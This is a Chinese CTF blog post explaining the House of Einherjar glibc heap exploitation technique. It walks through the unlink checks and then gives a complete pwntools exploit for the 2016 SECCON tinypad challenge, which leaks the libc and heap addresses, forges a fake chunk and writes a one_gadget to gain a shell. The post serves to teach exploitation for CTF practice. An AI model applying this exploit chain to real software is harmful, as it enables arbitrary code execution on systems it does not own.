House Of Eingherjar

House Of Eingherjar

这种技术实际上就是利用free时候的操作。

  /* consolidate backward */
        if (!prev_inuse(p)) {
            prevsize = prev_size(p);
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
        }

我们可以看到free指针p的时候,prevsize实际上是p堆块的prevsize位,这其实就是利用了malloc中的隐式链表技术,把P指针指向了要free堆块的前一个堆块(q),然后进行unlink操作。
利用
在堆块复用的情况下,我们很容易就可以修改高地址堆块的prev_size位,那么存在堆溢出,或者off-by-one的前提下,我们就可以利用p = chunk_at_offset(p, -((long) prevsize)),这个操作将新的chunk指向几乎任意位置。
注意
unlink(av, p, bck, fwd); unlink操作在libc 2.19(我记得是这个版本吧?)之后存在检查,所以为了避免malloc的时候触发报错,我们还需要伪造p指针改造后指向的堆快的fd和bk两个指针,但是这跟unlink的时候不相同,我们在平常进行unlink的时候我们知道p指针所在的地址,但是这个明显我们是没有该地址的,那么为了绕过检查,我们可以伪造成下面的样子。

p -> bk = p
p -> fd = p

还有一点就是要注意size的伪造,不过在这个方法里面size并不严格,伪造一个可以实现unlink的就可以,这里就要说一下,unlink里面关于size的检查了(这个检查出现于libc 2.26)。

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");

我们可以看到p这时候指向的chunk的size,只要和这个size对应的下一个chunk的size相等就可以了,他们之间的关系,如果你明白隐式链表技术,应该不难理解。
对于关键点,我觉得wiki上总结的很好。

* 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。
* 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏地址。
* 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。

这个技术并不难,在堆里面如果off-by-one学的不错的话,你会发现这一招你其实很多时候都用过了吧,哈哈,但是明白原理总是好的,接下来就是练习,理论跟实践的距离总是很远。

2016_seccon_tinypad

这个题目逆向分析挺复杂的,但是漏洞算是比较明显的吧。
数据结构分析:

struct ptr_array
{
    char[16*0x10];
    void *ptr;
    int size;
};

其中,在Add函数里面我们就可以看到,输入信息读入堆块的时候存在off-by-NULL漏洞。

同时对于delete函数我们也进行下分析

可以看到没有对指针进行清零。

那么对于一个堆的题目,我们肯定是需要leak 地址的,我们可以看到main函数的开头

如果bss段的相应内存指针存在的话,他会把对应的堆块的内容给读出来,那么我们肯定第一个想到的就是unsorted bin attack来泄露内存进而求出libc的基地址,但是由于要做Houe of Eingherjar的原因,我们还需要泄露heap的基地址,这一点并不是难点了,我们只需要构造四个大的chunk然后free掉就行了,但是由于strlen的”\x00”截断的缘故,所以我们必须先free idx = 3的堆块,然后再free idx=1的堆块。

malloc(0x80,"aa") #1
malloc(0x80,"bb") #2
malloc(0x80,"bb") #3
malloc(0x80,"bb") #4
free(3)
r.recvuntil("CONTENT: ")
r.recvuntil("CONTENT: ")
r.recvuntil("CONTENT: ")
libcbase = u64(r.recvuntil("\x7f").ljust(8,"\x00")) - 0x3c4b78 
confirm(libcbase)
free(1)
r.recvuntil("CONTENT: ")
heap_base = u64(r.recvuntil("\n").ljust(8,"\x00")) - 0x120

然后我们已经具备了做house of eingherjar所需要的条件:

* 我们可以写入高地址堆块的prev_size位并且把pre_inuse位置0.
* 我们已经知道了free的堆块的地址
* 我们想写入的地方(ptr_array)的地址和堆块的地址差可以计算出来。

所以差不多我们现在还差的就是伪造一个合适的fake_chunk来绕过unlink时候的各种检查了。

那么:
1.我们首先要在ptr_array的地方找个合适的位置写上伪造的堆块,这一点可以利用edit功能,因为这个功能在使用的时候会把内容先写到这里然后复制到指定位置
2.我们要伪造一个堆块的prev_size和prev_inuse位使得free的时候进行unlink,进而把我们的指针转移到之前在ptr_array预定好的位置,我们可以利用泄露出的heap_base来求出free的堆块的地址,然后就可以根据地址差来计算pre_size,同时也使得我们在ptr_array的fake_chunk中可以事先写入堆块指针p的地址来绕过unlink.
3.free之后我们的堆块指针成功转移,那么我们可以根据预先设定的fake_chunk的大小将其申请出来,那么我们就可以对ptr_array实现任意写了。
4.我们可以把指针改成malloc_hook之类,然后edit写入one_gadget来实现利用。
5.但是我们也可以写入main_ret,因为通过环境指针environ来泄露出main函数的ret地址很容易,我们可以在该地方写入one_gadget来实现利用。

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./tinypad"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("")

def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]
def debug(addr):
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+="b *" + str(addr) + "\nc"
    gdb.attach(r,break_point)
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

libc = ELF("./libc.so.6")
def malloc(size,context):
    r.recvuntil("(CMD)>>> ")
    r.sendline("a")
    r.recvuntil("SIZE)>>> ")
    r.sendline(str(size))
    r.recvuntil("(CONTENT)>>> ")
    r.send(context +"\n")

def free(idx):
    r.recvuntil("(CMD)>>> ")
    r.sendline("d")
    r.recvuntil("(INDEX)>>> ")
    r.sendline(str(idx))

def edit(idx,context,flag):
    r.recvuntil("(CMD)>>> ")
    r.sendline("e")
    r.recvuntil("(INDEX)>>> ")
    r.sendline(str(idx))
    r.recvuntil("(CONTENT)>>> ")
    r.send(context+"\n")
    r.recvuntil("(Y/n)>>> ")
    r.sendline(flag)

def quit():
    r.recvuntil("(CMD)>>> ")
    r.sendline("q")

malloc(0x80,"aa") #1
malloc(0x80,"bb") #2
malloc(0x80,"bb") #3
malloc(0x80,"bb") #4
free(3)
r.recvuntil("CONTENT: ")
r.recvuntil("CONTENT: ")
r.recvuntil("CONTENT: ")
libcbase = u64(r.recvuntil("\x7f").ljust(8,"\x00")) - 0x3c4b78 
confirm(libcbase)
free(1)
r.recvuntil("CONTENT: ")
heap_base = u64(r.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0x120
confirm(heap_base)
malloc_hook_addr = libcbase + libc.symbols["__malloc_hook"]
confirm(malloc_hook_addr)
one_gadget = libcbase + 0xf1147
confirm(one_gadget)
free(2)
free(4)
ptr_array = 0x000000000602040
offset = heap_base + 0x20 - (ptr_array + 0x20)
confirm(offset)
malloc(0x10,"a"*0x10)#1
malloc(0x100,"b"*0xf8 + p64(0x11))
malloc(0x100,"b"*0xf8)
malloc(0x100,"b"*0xf8)
fake_chunk = p64(0) + p64(0x101) + p64(ptr_array + 0x20) * 2
edit(3,"a"*0x20+fake_chunk,"y")
free(1)
malloc(0x18,"a"*0x10 + p64(offset))
free(2)
edit(4,"a" * 0x20 + p64(0) + p64(0x101) + p64(libcbase + 0x3c4b78 + 88) * 2,"y")
#pause()
environ_pointer = libcbase + libc.symbols["__environ"]
confirm(environ_pointer)
malloc(0xf0,"c"*0xd0+p64(0x18) +p64(environ_pointer) + "a"*8 + p64(0x602148))
#r.recvuntil("aaaaaaaaaaaaaaaa")
r.recvuntil("CONTENT: ")
#gdb.attach(r)
main_ret_addr = u64(r.recvuntil("\x7f").ljust(8,"\x00")) - 0x8 * 30
confirm(main_ret_addr)
edit(2,p64(main_ret_addr),"y")
edit(1,p64(one_gadget),"y")
quit()
#gdb.attach(r)
r.interactive()

相关参考:

https://xz.aliyun.com/t/6556
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_einherjar-zh/


   转载规则


《House Of Eingherjar》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
glibc 2.24开始的vtable check及其绕过 glibc 2.24开始的vtable check及其绕过
glibc 2.24开始的vtable check及其绕过原理在2.23及其之前,IO结构体里面的vtable里面的相关函数在调用的时候不存在检查,这就使得容易被构造从而使得vtable容易被攻击。 在此基础之上glibc 2.24加入了v
2020-02-10
下一篇 
House of Force House of Force
House of Force原理 glibc在空闲堆块无法满足要求的情况下会对top chunk进行操作,从它哪里得到新的满足用户需求的chunk块,House of Force的主要目标就是top chunk,我们如果可以控制top c
2020-02-10
  目录